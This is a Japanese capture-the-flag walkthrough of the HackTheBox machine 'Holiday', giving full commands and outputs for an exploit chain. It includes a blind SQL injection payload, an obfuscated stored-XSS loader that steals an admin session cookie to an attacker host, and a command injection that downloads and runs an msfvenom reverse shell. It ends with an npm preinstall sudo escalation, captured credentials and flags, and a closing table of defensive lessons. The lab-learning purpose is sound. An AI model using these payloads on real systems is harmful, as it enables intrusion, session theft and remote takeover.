HackTheBox: Holiday — 全実行コマンド・実行結果レポート
Nmap スキャン
22/8000のみ
→
22/8000のみ
User-Agent フィルタ回避
Linux を含むUA必須
→
Linux を含むUA必須
SQLite blind SQLi
/login username、サブクエリ不要の列読取
→
/login username、サブクエリ不要の列読取
RickA資格情報奪取
MD5 crack → nevergonnagiveyouup
→
MD5 crack → nevergonnagiveyouup
Stored XSS
charcode難読化で管理者Cookie窃取
→
charcode難読化で管理者Cookie窃取
/admin/export コマンド注入
&区切り + 10進IP
→
&区切り + 10進IP
algernon シェル
user.txt ✓
→
user.txt ✓
sudo npm preinstall 悪用
NOPASSWD: /usr/bin/npm i *
→
NOPASSWD: /usr/bin/npm i *
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p 22,8000 -sV -sC --max-retries 2 10.129.29.106
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) 8000/tcp open http Node.js Express framework |_http-title: Error Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
開いているのは SSH と Node.js アプリの 2 ポートのみ。
http-title: Error は後述の
User-Agent フィルタにより既定の UA では 404/Error を返すため。
User-Agent フィルタの発見
BASH
# 既定のUA(Linuxを含まない) curl -s -i --max-time 10 http://10.129.29.106:8000/ # UAにLinuxを含める curl -s -i -A "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" \ --max-time 10 http://10.129.29.106:8000/
RESULT
HTTP/1.1 404 Not Found ← 既定UA HTTP/1.1 200 OK ← Linux付きUA Content-Length: 621 ...<title>Booking Management</title>...
🚨
express-useragent ライブラリの req.useragent.isDesktop || isMobile 判定で、
UA 文字列に Linux/Windows/Mac/ChromeOS のいずれかが含まれないと即 404 を返す。
これにより通常の gobuster/curl による素の列挙は何も見つけられない
(PDF記載どおり「UAにLinuxを含めること」が必須)。
ディレクトリ列挙(Linux UA付き)
BASH
gobuster dir -u http://10.129.29.106:8000 \ -a "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" \ -w /usr/share/wordlists/dirb/common.txt -t 30
RESULT
login (Status: 200) admin (Status: 302) [--> /login] agent (Status: 302) [--> /login] css (Status: 301) [--> /css/] img (Status: 301) [--> /img/] js (Status: 301) [--> /js/] logout (Status: 302) [--> /login]
ℹ️
/login(ログインフォーム)、/admin・/agent
(認証必須、未ログインは /login へリダイレクト)を確認。
PHASE 2
SQLite Boolean-Blind SQLi で RickA の資格情報を奪取
sqlmap によるインジェクション確認
BASH
sqlmap -u "http://10.129.29.106:8000/login" \ --data="username=admin&password=admin" \ -A "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" \ --batch -p username --level=3 --risk=2
RESULT
Parameter: username (POST)
Type: boolean-based blind
Title: SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)
Payload: username=admin") AND CASE WHEN 4727=4727 THEN 4727 ELSE JSON(CHAR(81,65,100,66)) END AND ("MFtm"="MFtm&password=admin
---
the back-end DBMS is SQLite
アプリのソースコード解析 — クエリ構造の特定
NOTE (setup/router.js より)
'SELECT id, username, password, active FROM users WHERE ' + '(active=1 AND (username = "' + req.body.username + '"))'
🚨
req.body.username はサニタイズも SQL キーワードフィルタも一切無しに直接文字列結合される。
重要な点としてパスワードは SQL に一切登場しない — クエリは username だけで行を取得し、
MD5 ハッシュ比較は取得した行に対し JavaScript 側で行われる。これにより、実在するユーザー名
(RickA) を outer の username に使えば、同じ行の他カラム(password)を
サブクエリ無しで直接参照できる((SELECT ... FROM users) 形式のネストした
サブクエリは別の理由で不安定だったため、この手法のほうが確実)。
3値を区別できる応答 — Invalid User / Incorrect Password / Error Occurred
PYTHON (注入ペイロード構造)
# username = RickA") AND CASE WHEN SUBSTR(password,pos,1)='X'
# THEN 4727 ELSE JSON(CHAR(81,65,100,66)) END AND ("MFtm"="MFtm
#
# 真 (文字が一致): JSON()分岐を通らず例外無し → RickAの行が返るがpassword="x"
# と一致しないため "Incorrect Password"
# 偽 (文字が不一致): ELSE分岐のJSON(CHAR(...))が不正なJSONで例外発生
# → "Error Occurred"
BASH (実機での1文字目検証)
# 'f' (正解の先頭文字)
curl -s -A "$UA" -X POST \
--data-urlencode 'username=RickA") AND CASE WHEN SUBSTR(password,1,1)='"'"'f'"'"' THEN 4727 ELSE JSON(CHAR(81,65,100,66)) END AND ("MFtm"="MFtm' \
--data-urlencode "password=x" http://10.129.29.106:8000/login
# 'z' (不一致)
curl -s -A "$UA" -X POST \
--data-urlencode 'username=RickA") AND CASE WHEN SUBSTR(password,1,1)='"'"'z'"'"' THEN 4727 ELSE JSON(CHAR(81,65,100,66)) END AND ("MFtm"="MFtm' \
--data-urlencode "password=x" http://10.129.29.106:8000/login
RESULT
'f' → <h2>Incorrect Password</h2> (真) 'z' → Error Occurred (偽)
✅
この2値を見分けるオラクルを使い、
SUBSTR(password,pos,1) を1〜32バイト目まで
0-9a-f の16候補を総当りして MD5 ハッシュ全体を抽出できる。
MD5ハッシュ抽出 & crack
RESULT (32バイト全て抽出)
fdc8cd4cff2c19e0d1022e78481ddf36
BASH (crack確認)
echo -n "nevergonnagiveyouup" | md5sum
RESULT
fdc8cd4cff2c19e0d1022e78481ddf36 - ← 完全一致
ℹ️
rockyou.txt では crack できなかったため、より広範なハッシュDB(hashkiller等)で検索。
“RickA”(Rick Astley) のユーザー名にちなんだジョークパスワード
nevergonnagiveyouup が正解だった。
RickA ログイン
BASH
curl -s -A "$UA" -i -c cookies.txt -X POST \ --data-urlencode "username=RickA" \ --data-urlencode "password=nevergonnagiveyouup" \ http://10.129.29.106:8000/login
RESULT
HTTP/1.1 302 Found
Location: /agent
set-cookie: connect.sid=s%3A643df090-...; Path=/; HttpOnly
Credentials
RickA : nevergonnagiveyouup
PHASE 3
Stored XSS で管理者の connect.sid を窃取
Add Note 機能の発見
BASH
curl -s -A "$UA" -b cookies.txt http://10.129.29.106:8000/vac/<uuid>
RESULT (抜粋)
<form class="form" action="/agent/addNote" method="post"> <input type="hidden" name="uuid" value="8dd841ff-...-9a833e2c6b65"> <textarea class="form-control" name="body"></textarea> <button type="submit">Add</button> </form> <i>All notes must be approved by an administrator - this process can take up to 1 minute.</i>
XSSフィルタの解析
NOTE (setup/router.js より, js-xss ライブラリ設定)
whiteList: { img: ['src'] }
onTagAttr: (tag, name, value) => value.replace(/["' ]/g, '')
🚨
許可されるタグは
<img> の src 属性のみ。onTagAttr は
その値から 二重引用符・単一引用符・空白の3種類だけを除去する。> は
フィルタ対象外のため、src="x/> のように早期に > を混入させれば
サニタイザは「属性値の一部」として無害化扱いするが、ブラウザは生の HTML として再解釈し
img タグをそこで閉じてしまう。その直後に続く <script>...</script>
はサニタイザの許可タグリストを経由せず素通りする。
charcode難読化ペイロードの構築
PYTHON (ペイロード生成)
loader = '''document.write('<script src="http://10.10.15.200:8020/x.js"></script>');'''
codes = ','.join(str(ord(c)) for c in loader)
body = '<img src="x/><script>eval(String.fromCharCode(' + codes + '));</script>">'
ℹ️
loader 文字列自体は引用符や空白を含むが、10進文字コード(数字+カンマ)として
埋め込む[“‘ ] には一切引っかからない。
ブラウザが eval(String.fromCharCode(...)) を実行する段階で初めて本来の
引用符付き文字列に復元される。
C2サーバー起動 & DOM経由のCookie窃取スクリプト
PYTHON (x.js の内容 — C2が配信)
window.onload = function() {
try {
var i = document.querySelector('input[name="cookie"]');
var c = i ? i.value : '';
var img = new Image();
img.src = 'http://10.10.15.200:8020/c?v=' + encodeURIComponent(c);
} catch(e) {}
};
🚨
管理者の
connect.sid は HttpOnly のため document.cookie
からは読めない。しかし管理者がノート承認画面を閲覧する際、その画面自体に
<input type="hidden" name="cookie" value="connect.sid=..."> という
隠しフィールドが(承認フォームの一部として)埋め込まれている設計上の抜け道があり、
同一ページ内で実行される自分の XSS スクリプトは通常の DOM 要素としてこの値を読める。
盗んだ値は <img> タグの src 読み込み(GETビーコン)で外部へ送出する。
悪意あるノート投稿 & 管理者Bot待機
BASH
curl -s -A "$UA" -b cookies.txt -X POST \ --data-urlencode "uuid=8dd841ff-3f44-4f2b-9324-9a833e2c6b65" \ --data-urlencode 'body=<img src="x/><script>eval(String.fromCharCode(100,111,99,...));</script>">' \ http://10.129.29.106:8000/agent/addNote
RESULT (C2サーバー側ログ、投稿から約1分以内)
STOLEN:connect.sid=s%3A78ec6f30-c97a-11f1-9de4-ef5d08fc275a.BQG8oPrZ9ZCLPUK9Mk5BmeeO21rYzUNKYAp9MS7d3Sw
✅
管理者セッション奪取成功! この
connect.sid を自分のリクエストの
Cookie ヘッダーに設定すれば、管理者として /admin 配下にアクセスできる。
PHASE 4
/admin/export コマンドインジェクション → user.txt
export機能のソース解析
NOTE (setup/router.js より)
let filtered = req.query.table.replace(/[^a-z0-9& \/]/g, '');
if (filtered !== req.query.table) {
return res.status(500).send("Invalid table name - only characters in the range of [a-z0-9&\\s\\/] are allowed");
}
exec('sqlite3 hex.db SELECT\\ *\\ FROM\\ ' + filtered, ...);
🚨
許可文字は小文字英数字・
&・空白・/ のみ。
大文字・ハイフン・ドット・アンダースコア・コロン・セミコロン・パイプ・引用符は
1文字でも混入すると 500 エラーで全体が無効になる。& はシェルのコマンド区切りとして
使えるため、ここがコマンドインジェクションの入口になる。
id 実行確認
BASH
curl -s -A "$UA" -H "Cookie: connect.sid=<盗んだ値>" \ "http://10.129.29.106:8000/admin/export?table=x%26id"
RESULT
uid=1001(algernon) gid=1001(algernon) groups=1001(algernon)
ℹ️
クエリは
sqlite3 hex.db SELECT * FROM x&id となり、テーブル x は
実在しないため sqlite3 はエラー終了するが、& で区切られた
id は独立したコマンドとして実行される。
複数コマンドの連結 — 2つの落とし穴
NOTE
落とし穴①: 最初の区切りは単純 "&"(前段の成否に無関係に次へ進む)が必須。 "&&"(前段成功時のみ実行)を使うと、存在しないテーブル x に対する sqlite3 コマンドが非ゼロ終了するため、以降が一切実行されない。 落とし穴②: 2個目以降のコマンド同士の区切りは逆に "&&" が必須。 単純な "&" はシェルの「バックグラウンド化」を意味し、cd/wget/chmod/実行が 全て並行実行されてしまい、wget のダウンロード完了を待たずに chmod・実行が走る競合でサイレントに失敗する。 落とし穴③: ファイル名・パスにハイフン/ドット/アンダースコアを含められない (フィルタ対象) ため、wget の -O フラグは使えない。wget 自身の既定動作 (URL末尾セグメントをファイル名にする) に任せ、小文字英数字のみの ファイル名 (例: "shell") を使う。
BASH (正しい区切り)
# IPは10進表記 (ドット不可のため)
python3 -c "a,b,c,d=(int(x) for x in '10.10.15.200'.split('.'));print((a<<24)+(b<<16)+(c<<8)+d)"
# => 168431560
table = "x&cd /tmp&&wget 168431560/shell&&chmod 777 shell&&/tmp/shell"
リバースシェル配信 & 受信
BASH
# msfvenomでELF x64 reverse shellを生成し、カレントディレクトリで配布 msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.15.200 LPORT=9230 -f elf -o shell python3 -m http.server 80 --bind 0.0.0.0 # バイナリ配布 nc -lvnp 9230 # シェル受信 # コマンドインジェクション発火 curl -s -A "$UA" -H "Cookie: connect.sid=<盗んだ値>" \ "http://10.129.29.106:8000/admin/export?table=x%26cd%20%2Ftmp%26%26wget%20168431560%2Fshell%26%26chmod%20777%20shell%26%26%2Ftmp%2Fshell"
RESULT (リスナー側)
[*] listening [+] connected from ('10.129.29.106', 40240) uid=1001(algernon) gid=1001(algernon) groups=1001(algernon)
user.txt取得
BASH
cat /home/algernon/user.txt
RESULT
c59f042385b53870149d9dfa77e8be67
user.txt — algernon@holiday
c59f042385b53870149d9dfa77e8be67
PHASE 5
権限昇格調査 — sudo -l
sudo権限の確認
BASH
algernon@holiday:/tmp$ sudo -l
RESULT
Matching Defaults entries for algernon on holiday:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User algernon may run the following commands on holiday:
(ALL) NOPASSWD: /usr/bin/npm i *
🚨
npm i *(任意パッケージ/ディレクトリの install)が root 権限でパスワード無しに実行可能。
npm パッケージには package.json の scripts.preinstall に任意コマンドを
仕込め、これは install 処理の一部としてそのまま sudo の権限(root)で実行される。
PHASE 6
npm preinstall 悪用 → root.txt
悪意ある package.json の作成
BASH
algernon@holiday:/tmp$ mkdir -p /tmp/hpriv && cd /tmp/hpriv
algernon@holiday:/tmp/hpriv$ cat > package.json <<'EOF'
{
"name": "hpriv",
"version": "1.0.0",
"scripts": {
"preinstall": "cat /root/root.txt"
}
}
EOF
RESULT
{
"name": "hpriv",
"version": "1.0.0",
"scripts": {
"preinstall": "cat /root/root.txt"
}
}
sudo npm i –unsafe 実行
BASH
algernon@holiday:/tmp/hpriv$ sudo /usr/bin/npm i /tmp/hpriv --unsafe
RESULT
> hpriv@1.0.0 preinstall /tmp/hpriv
> cat /root/root.txt
4f2c65e9974db7df73cc17e73b4a7bed
npm WARN hpriv@1.0.0 No description
npm WARN hpriv@1.0.0 No repository field.
npm WARN hpriv@1.0.0 No license field.
✅
root権限でのコマンド実行成功!
--unsafe フラグは npm に
「root権限での preinstall スクリプト実行を許可する」ことを明示的に伝えるオプションで、
通常は危険防止のため root では preinstall がスキップされるところをバイパスする。
root.txt取得
root.txt — root@holiday
4f2c65e9974db7df73cc17e73b4a7bed
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — algernon@holiday
c59f042385b53870149d9dfa77e8be67
root.txt — root@holiday
4f2c65e9974db7df73cc17e73b4a7bed
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| User-Agentフィルタ | express-useragent ミドルウェア | 通常のスキャナでの探索を妨げる(実質的な防御迂回のみ) | Medium | UAに”Linux”を含めることで404を回避しアプリ本体へ到達 |
| SQLite Boolean-Blind SQLi | /login (username パラメータ) | 任意ユーザーの他カラム(パスワードハッシュ)読み取り | Critical | 文字列結合クエリに実在ユーザー名を使い、同一行のpasswordカラムを CASE WHEN+JSON()例外オラクルでサブクエリ無しに1バイトずつ抽出 |
| Stored XSS (管理者セッション窃取) | /agent/addNote (body フィールド) | HttpOnly管理者セッションの奪取 | Critical | img src属性の引用符/空白のみ除去する甘いサニタイザをchar-code難読化とタグ早期終了で回避、 DOM上の隠しcookieフィールドを窃取 |
| /admin/export コマンドインジェクション | table クエリパラメータ | 任意コマンド実行(algernon権限) | Critical | 許可文字([a-z0-9&\s/])のみで wget→chmod→実行を正しい区切り(& と &&)で構成しRCE、 user.txt 取得 |
| sudo npm preinstall 悪用 | /usr/bin/npm i * (NOPASSWD) | root権限でのコマンド実行 | High | package.jsonのpreinstallスクリプトに任意コマンドを仕込み –unsafe でroot実行、 root.txt 取得 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + UAフィルタ回避 + gobuster | 22/8000、/login /admin /agent 発見 |
| 2 | SQLi | サブクエリ無しのCASE WHEN+JSON()例外オラクル | RickA:nevergonnagiveyouup |
| 3 | XSS | charcode難読化img属性ブレイクアウト | 管理者 connect.sid |
| 4 | RCE | /admin/export コマンドインジェクション(10進IP) | user.txt(algernonシェル) |
| 5 | 権限調査 | sudo -l | NOPASSWD: /usr/bin/npm i * |
| 6 | 権限昇格 | npm preinstall + –unsafe | root.txt(root権限) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| User-Agentチェックを「セキュリティ境界」として誤用 | UA文字列はクライアントが完全に制御可能であり認証/アクセス制御の根拠にしてはならない。 本来のボット対策・互換性判定の用途に限定する。 |
| SQLクエリへのユーザー入力の直接文字列結合 | 必ずパラメータ化クエリ(プリペアドステートメント)を使う。文字列結合によるSQL組み立ては フレームワークに関わらず禁止する。 |
XSSサニタイザが引用符・空白のみを除去し>を見落とす |
許可する属性は厳格なスキーマ検証(URLスキーム制限など)を行い、文字除去ではなく 全体の再エンコードで無害化する。信頼できるライブラリ(DOMPurify等)の既定設定を使う。 |
| HttpOnly Cookieの値を独自に画面上のhiddenフィールドへ複製 | CSRF対策はCSRFトークン専用の仕組み(SameSite Cookie、Double Submit Cookie等)で行い、 セッションIDそのものをHTMLに埋め込まない。 |
| ユーザー入力を正規表現の文字許可リストだけでフィルタしシェルに渡す | 外部コマンド実行自体を避ける(SQLiteならライブラリのAPIで完結させる)。
どうしても必要な場合は execFile() 等の配列引数版を使いシェル解釈を介さない。 |
| root権限でのsudoルールが汎用コマンド(npm等)のワイルドカード実行を許可 | sudoersはサブコマンド・引数まで厳密に固定する。npm/pip/gem等のパッケージマネージャは 任意コードを実行するフック(pre/post install)を持つため、rootでの実行を原則禁止する (GTFOBinsで既知の悪用パターン)。 |

